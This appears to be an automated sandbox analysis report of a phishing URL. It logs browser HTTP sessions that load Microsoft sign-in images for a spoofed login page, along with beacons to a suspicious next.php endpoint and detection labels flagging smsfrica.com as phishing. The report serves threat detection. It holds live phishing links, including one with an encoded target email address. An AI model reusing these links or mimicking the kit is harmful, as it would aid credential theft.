82	192.168.2.17	49833	152.199.4.44	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-15 12:59:29 UTC	689	OUT	GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://nwfkh03tev-1324839608.cos.sa-saopaulo.myqcloud.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-15 12:59:29 UTC	630	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Length,Date,Transfer-Encoding Age: 27803184 Cache-Control: public, max-age=31536000 Content-MD5: DhdidjYrlCeaRJJRG/y9mA== Content-Type: image/svg+xml Date: Fri, 15 Mar 2024 12:59:29 GMT Etag: 0x8D7B007297AE131 Last-Modified: Wed, 12 Feb 2020 22:01:50 GMT Server: ECAcc (nya/7931) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: d947d072-e01e-005b-15fa-794940000000 x-ms-version: 2009-09-19 Content-Length: 1864 Connection: close
2024-03-15 12:59:29 UTC	1864	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 39 32 30 22 20 68 65 69 67 68 74 3d 22 31 30 38 30 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 3e 3c 67 20 6f 70 61 63 69 74 79 3d 22 2e 32 22 20 63 6c 69 70 2d 70 61 74 68 3d 22 75 72 6c 28 23 45 29 22 3e 3c 70 61 74 68 20 64 3d 22 4d 31 34 36 36 2e 34 20 31 37 39 35 2e 32 63 39 35 30 2e 33 37 20 30 20 31 37 32 30 2e 38 2d 36 32 37 2e 35 32 20 31 37 32 30 2e 38 2d 31 34 30 31 2e 36 53 32 34 31 36 2e 37 37 2d 31 30 30 38 20 31 34 36 36 2e 34 2d 31 30 30 38 2d 32 35 34 2e 34 2d 33 38 30 2e 34 38 32 2d 32 35 34 2e 34 20 33 39 33 2e 36 73 37 37 30 2e 34 32 38 20 31 34 30 31 2e 36 20 31 37 32 30 2e 38 20 31 34 30 31 2e 36 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.17	49836	162.241.71.126	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-15 12:59:29 UTC	347	OUT	GET /next.php HTTP/1.1 Host: gners4life.site Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-15 12:59:29 UTC	150	IN	HTTP/1.1 200 OK Date: Fri, 15 Mar 2024 12:59:27 GMT Server: Apache Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.17	49835	13.107.213.40	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-15 12:59:29 UTC	672	OUT	GET /ests/2.1/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://nwfkh03tev-1324839608.cos.sa-saopaulo.myqcloud.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-15 12:59:29 UTC	743	IN	HTTP/1.1 200 OK Date: Fri, 15 Mar 2024 12:59:29 GMT Content-Type: image/x-icon Content-Length: 17174 Connection: close Cache-Control: public, max-age=604800 Last-Modified: Fri, 02 Nov 2018 20:25:25 GMT ETag: 0x8D6410152A9D7E1 x-ms-request-id: 2e045c93-b01e-0021-5dd8-765faf000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240315T125929Z-y640yfn07d7db240ft9tybdzkc00000001b000000000dxkr x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-03-15 12:59:29 UTC	15641	IN	Data Raw: 00 00 01 00 06 00 80 80 10 00 00 00 00 00 68 28 00 00 66 00 00 00 48 48 10 00 00 00 00 00 e8 0d 00 00 ce 28 00 00 30 30 10 00 00 00 00 00 68 06 00 00 b6 36 00 00 20 20 10 00 00 00 00 00 e8 02 00 00 1e 3d 00 00 18 18 10 00 00 00 00 00 e8 01 00 00 06 40 00 00 10 10 10 00 00 00 00 00 28 01 00 00 ee 41 00 00 28 00 00 00 80 00 00 00 00 01 00 00 01 00 04 00 00 00 00 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 ba 7f 00 22 50 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 Data Ascii: h(fHH(00h6 =@(A(("P"""""""""""""""""""""""""""""" 333333333333333
2024-03-15 12:59:29 UTC	1533	IN	Data Raw: 80 00 00 00 00 28 00 00 00 20 00 00 00 40 00 00 00 01 00 04 00 00 00 00 00 80 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 bc 7b 00 1f 4c f9 00 22 50 f2 00 f7 a6 00 00 00 ba 7f 00 f3 a6 00 00 1e 4e f6 00 23 4e f4 00 f3 a4 00 00 00 bc 7d 00 00 ba 7d 00 00 00 00 00 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 Data Ascii: ( @{L"PN#N}}"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333""

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.17	49834	13.107.213.40	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-15 12:59:29 UTC	688	OUT	GET /shared/1.0/content/images/signin-options_4e48046ce74f4b89d45037c90576bfac.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://nwfkh03tev-1324839608.cos.sa-saopaulo.myqcloud.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-15 12:59:29 UTC	805	IN	HTTP/1.1 200 OK Date: Fri, 15 Mar 2024 12:59:29 GMT Content-Type: image/svg+xml Content-Length: 621 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Tue, 10 Nov 2020 03:41:24 GMT ETag: 0x8D8852A7FA6B761 x-ms-request-id: 706e0b79-e01e-0010-4226-7655bc000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240315T125929Z-1fvb884ur17s54mrb013ryt98800000003v000000000ed5n x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-03-15 12:59:29 UTC	621	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 7d 55 4d 6f 22 31 0c fd 2b a3 d9 ab 93 c9 f7 47 3b 20 cd 9e 38 6c af 1c b8 4d 0b 05 24 0a 55 19 41 57 ab fe f7 b5 93 a0 55 61 58 0d d8 60 27 ef 3d db 09 b4 c7 d3 ba fa 7c db ed 8f 93 7a 33 0c ef 0f 4d 73 3e 9f f9 59 f3 c3 c7 ba 51 42 88 06 57 d4 d5 79 bb 1c 36 93 da 84 ba da ac b6 eb cd 90 3f 9f b6 ab f3 cf c3 e7 a4 16 95 a8 4c c0 57 3d 6d 97 ab d7 e3 b4 3d 0e bf 77 ab 29 ef ff bc 6e 77 bb 87 fd 61 bf 7a fc e2 cf f9 db 0f 23 e8 79 fc 6a 9b bc ac 6d f2 a6 8f d5 cb 50 bd ec fa 23 ca e9 ef b1 36 d3 f6 bd 1f 36 97 75 cf 75 b5 9c d4 4f 46 80 56 dc fa 30 37 62 a6 d5 5c bb 99 0a 73 ad 66 ca cc 55 e0 de b9 4e 0a ee 42 84 e2 04 3e 12 64 04 2d 7a 0c a5 78 89 32 cb ad f1 4c 72 0b 52 72 29 dc c5 e5 ac e2 4a 46 cc 7a 19 3b 4c 68 af a1 b8 Data Ascii: }UMo"1+G; 8lM$UAWUaX`'=\|z3Ms>YQBWy6?LW=m=w)nwaz#yjmP#66uuOFV07b\sfUNB>d-zx2LrRr)JFz;Lh

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.17	49838	152.199.4.44	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-15 12:59:29 UTC	419	OUT	GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-15 12:59:29 UTC	630	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Length,Date,Transfer-Encoding Age: 27803184 Cache-Control: public, max-age=31536000 Content-MD5: DhdidjYrlCeaRJJRG/y9mA== Content-Type: image/svg+xml Date: Fri, 15 Mar 2024 12:59:29 GMT Etag: 0x8D7B007297AE131 Last-Modified: Wed, 12 Feb 2020 22:01:50 GMT Server: ECAcc (nya/7931) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: d947d072-e01e-005b-15fa-794940000000 x-ms-version: 2009-09-19 Content-Length: 1864 Connection: close
2024-03-15 12:59:29 UTC	1864	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 39 32 30 22 20 68 65 69 67 68 74 3d 22 31 30 38 30 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 3e 3c 67 20 6f 70 61 63 69 74 79 3d 22 2e 32 22 20 63 6c 69 70 2d 70 61 74 68 3d 22 75 72 6c 28 23 45 29 22 3e 3c 70 61 74 68 20 64 3d 22 4d 31 34 36 36 2e 34 20 31 37 39 35 2e 32 63 39 35 30 2e 33 37 20 30 20 31 37 32 30 2e 38 2d 36 32 37 2e 35 32 20 31 37 32 30 2e 38 2d 31 34 30 31 2e 36 53 32 34 31 36 2e 37 37 2d 31 30 30 38 20 31 34 36 36 2e 34 2d 31 30 30 38 2d 32 35 34 2e 34 2d 33 38 30 2e 34 38 32 2d 32 35 34 2e 34 20 33 39 33 2e 36 73 37 37 30 2e 34 32 38 20 31 34 30 31 2e 36 20 31 37 32 30 2e 38 20 31 34 30 31 2e 36 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.17	49839	13.107.246.40	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-15 12:59:29 UTC	418	OUT	GET /shared/1.0/content/images/signin-options_4e48046ce74f4b89d45037c90576bfac.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-15 12:59:30 UTC	805	IN	HTTP/1.1 200 OK Date: Fri, 15 Mar 2024 12:59:30 GMT Content-Type: image/svg+xml Content-Length: 621 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Tue, 10 Nov 2020 03:41:24 GMT ETag: 0x8D8852A7FA6B761 x-ms-request-id: 706e0b79-e01e-0010-4226-7655bc000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240315T125930Z-det6r7x2dh4m99a82vg5vp37ts00000000pg00000000cbfp x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-03-15 12:59:30 UTC	621	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 7d 55 4d 6f 22 31 0c fd 2b a3 d9 ab 93 c9 f7 47 3b 20 cd 9e 38 6c af 1c b8 4d 0b 05 24 0a 55 19 41 57 ab fe f7 b5 93 a0 55 61 58 0d d8 60 27 ef 3d db 09 b4 c7 d3 ba fa 7c db ed 8f 93 7a 33 0c ef 0f 4d 73 3e 9f f9 59 f3 c3 c7 ba 51 42 88 06 57 d4 d5 79 bb 1c 36 93 da 84 ba da ac b6 eb cd 90 3f 9f b6 ab f3 cf c3 e7 a4 16 95 a8 4c c0 57 3d 6d 97 ab d7 e3 b4 3d 0e bf 77 ab 29 ef ff bc 6e 77 bb 87 fd 61 bf 7a fc e2 cf f9 db 0f 23 e8 79 fc 6a 9b bc ac 6d f2 a6 8f d5 cb 50 bd ec fa 23 ca e9 ef b1 36 d3 f6 bd 1f 36 97 75 cf 75 b5 9c d4 4f 46 80 56 dc fa 30 37 62 a6 d5 5c bb 99 0a 73 ad 66 ca cc 55 e0 de b9 4e 0a ee 42 84 e2 04 3e 12 64 04 2d 7a 0c a5 78 89 32 cb ad f1 4c 72 0b 52 72 29 dc c5 e5 ac e2 4a 46 cc 7a 19 3b 4c 68 af a1 b8 Data Ascii: }UMo"1+G; 8lM$UAWUaX`'=\|z3Ms>YQBWy6?LW=m=w)nwaz#yjmP#66uuOFV07b\sfUNB>d-zx2LrRr)JFz;Lh

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.17	49840	13.107.246.40	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-15 12:59:30 UTC	402	OUT	GET /ests/2.1/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-15 12:59:30 UTC	743	IN	HTTP/1.1 200 OK Date: Fri, 15 Mar 2024 12:59:30 GMT Content-Type: image/x-icon Content-Length: 17174 Connection: close Cache-Control: public, max-age=604800 Last-Modified: Fri, 02 Nov 2018 20:25:25 GMT ETag: 0x8D6410152A9D7E1 x-ms-request-id: 780fb565-501e-003f-68d8-764d90000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240315T125930Z-1x236ztbsh2w18ayfbcx6su3cg00000004eg0000000087ca x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-03-15 12:59:30 UTC	15641	IN	Data Raw: 00 00 01 00 06 00 80 80 10 00 00 00 00 00 68 28 00 00 66 00 00 00 48 48 10 00 00 00 00 00 e8 0d 00 00 ce 28 00 00 30 30 10 00 00 00 00 00 68 06 00 00 b6 36 00 00 20 20 10 00 00 00 00 00 e8 02 00 00 1e 3d 00 00 18 18 10 00 00 00 00 00 e8 01 00 00 06 40 00 00 10 10 10 00 00 00 00 00 28 01 00 00 ee 41 00 00 28 00 00 00 80 00 00 00 00 01 00 00 01 00 04 00 00 00 00 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 ba 7f 00 22 50 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 Data Ascii: h(fHH(00h6 =@(A(("P"""""""""""""""""""""""""""""" 333333333333333
2024-03-15 12:59:30 UTC	1533	IN	Data Raw: 80 00 00 00 00 28 00 00 00 20 00 00 00 40 00 00 00 01 00 04 00 00 00 00 00 80 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 bc 7b 00 1f 4c f9 00 22 50 f2 00 f7 a6 00 00 00 ba 7f 00 f3 a6 00 00 1e 4e f6 00 23 4e f4 00 f3 a4 00 00 00 bc 7d 00 00 ba 7d 00 00 00 00 00 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 Data Ascii: ( @{L"PN#N}}"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333""

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.17	49841	162.241.71.126	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-15 12:59:30 UTC	347	OUT	GET /next.php HTTP/1.1 Host: gners4life.site Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-15 12:59:30 UTC	150	IN	HTTP/1.1 200 OK Date: Fri, 15 Mar 2024 12:59:28 GMT Server: Apache Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Target ID:	0
Start time:	13:57:32
Start date:	15/03/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://google.co.za/amp/s/smsfrica.com/QlS4h/YW1yb21hbm9Ac3RlaW5ib3JuLmNvbQ==
Imagebase:	0x7ff7d6f10000
File size:	3'242'272 bytes
MD5 hash:	83395EAB5B03DEA9720F8D7AC0D15CAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	1
Start time:	13:57:32
Start date:	15/03/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2080 --field-trial-handle=1988,i,5893352865044543850,9096576195089460622,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff7d6f10000
File size:	3'242'272 bytes
MD5 hash:	83395EAB5B03DEA9720F8D7AC0D15CAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Source: https://smsfrica.com/cgi-sys/images/404mid.gif	Avira URL Cloud: Label: phishing
Source: https://smsfrica.com/QlS4h/?x=YW1yb21hbm9Ac3RlaW5ib3JuLmNvbQ==	Avira URL Cloud: Label: phishing
Source: https://smsfrica.com/favicon.ico	Avira URL Cloud: Label: phishing
Source: https://smsfrica.com/cgi-sys/images/404bottom.gif	Avira URL Cloud: Label: phishing

Source: https://www.google.com/sorry/index?continue=https://google.co.za/amp/s/smsfrica.com/QlS4h/YW1yb21hbm9Ac3RlaW5ib3JuLmNvbQ%3D%3D&q=EgS_YOPCGL6L0a8GIjAaJ8H2BhgUuvpf_NnyT2OYVT8w65mbz9ueyJW_p6cE8jZIK7EFGWsbGUV81JQQhlEyAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUM	HTTP Parser: No favicon
Source: https://www.google.com/sorry/index?continue=https://google.co.za/amp/s/smsfrica.com/QlS4h/YW1yb21hbm9Ac3RlaW5ib3JuLmNvbQ%3D%3D&q=EgS_YOPCGL6L0a8GIjAaJ8H2BhgUuvpf_NnyT2OYVT8w65mbz9ueyJW_p6cE8jZIK7EFGWsbGUV81JQQhlEyAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUM	HTTP Parser: No favicon
Source: https://www.google.com/sorry/index?continue=https://google.co.za/amp/s/smsfrica.com/QlS4h/YW1yb21hbm9Ac3RlaW5ib3JuLmNvbQ%3D%3D&q=EgS_YOPCGL6L0a8GIjAaJ8H2BhgUuvpf_NnyT2OYVT8w65mbz9ueyJW_p6cE8jZIK7EFGWsbGUV81JQQhlEyAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUM	HTTP Parser: No favicon
Source: https://www.google.com/recaptcha/api2/anchor?ar=1&k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b&co=aHR0cHM6Ly93d3cuZ29vZ2xlLmNvbTo0NDM.&hl=en&v=07g0mpPGukTo20VqKa8GbTSw&size=normal&s=71_GyNisCrzVl5tMGlh4uwt-iGo8dD_dRqzNJECxMJzp6EooJwD2Niqp9UV_FVrYCxUQdeZ-5PnBGu1eKs7OwhWy0Ry2-wLV7LD6ocK5f1v982B1O4Y9_lrqyGbPdTvv3FHWr5CeFfavu0HI3J7rzOyEPTPyUtVQoGM8ppfd7ty-no9y4WbN1Z-6VqqVvLkmLerrzPnGFc6dBn1CAeYxCzUO0WCnYHdBq257V81dzsTex7CSMUiYYGjol031t2GoT-WWpQfje22HavvHeltY0wQUIUECToo&cb=pgetjf101dfd	HTTP Parser: No favicon
Source: https://www.google.com/recaptcha/api2/anchor?ar=1&k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b&co=aHR0cHM6Ly93d3cuZ29vZ2xlLmNvbTo0NDM.&hl=en&v=07g0mpPGukTo20VqKa8GbTSw&size=normal&s=71_GyNisCrzVl5tMGlh4uwt-iGo8dD_dRqzNJECxMJzp6EooJwD2Niqp9UV_FVrYCxUQdeZ-5PnBGu1eKs7OwhWy0Ry2-wLV7LD6ocK5f1v982B1O4Y9_lrqyGbPdTvv3FHWr5CeFfavu0HI3J7rzOyEPTPyUtVQoGM8ppfd7ty-no9y4WbN1Z-6VqqVvLkmLerrzPnGFc6dBn1CAeYxCzUO0WCnYHdBq257V81dzsTex7CSMUiYYGjol031t2GoT-WWpQfje22HavvHeltY0wQUIUECToo&cb=pgetjf101dfd	HTTP Parser: No favicon
Source: https://www.google.com/recaptcha/api2/bframe?hl=en&v=07g0mpPGukTo20VqKa8GbTSw&k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b	HTTP Parser: No favicon
Source: https://www.google.com/recaptcha/api2/bframe?hl=en&v=07g0mpPGukTo20VqKa8GbTSw&k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b	HTTP Parser: No favicon
Source: https://www.google.com/recaptcha/api2/bframe?hl=en&v=07g0mpPGukTo20VqKa8GbTSw&k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b	HTTP Parser: No favicon
Source: https://www.google.com/recaptcha/api2/bframe?hl=en&v=07g0mpPGukTo20VqKa8GbTSw&k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b	HTTP Parser: No favicon
Source: https://smsfrica.com/QlS4h/YW1yb21hbm9Ac3RlaW5ib3JuLmNvbQ==	HTTP Parser: No favicon
Source: https://www.google.com/recaptcha/api2/anchor?ar=1&k=6LclM5YpAAAAAFnC69EsWG7FflI4Kt9S0YEMI25O&co=aHR0cHM6Ly9zbXNmcmljYS5jb206NDQz&hl=en&v=07g0mpPGukTo20VqKa8GbTSw&size=normal&cb=um8bxu9180ki	HTTP Parser: No favicon
Source: https://www.google.com/recaptcha/api2/anchor?ar=1&k=6LclM5YpAAAAAFnC69EsWG7FflI4Kt9S0YEMI25O&co=aHR0cHM6Ly9zbXNmcmljYS5jb206NDQz&hl=en&v=07g0mpPGukTo20VqKa8GbTSw&size=normal&cb=um8bxu9180ki	HTTP Parser: No favicon
Source: https://www.google.com/recaptcha/api2/bframe?hl=en&v=07g0mpPGukTo20VqKa8GbTSw&k=6LclM5YpAAAAAFnC69EsWG7FflI4Kt9S0YEMI25O	HTTP Parser: No favicon
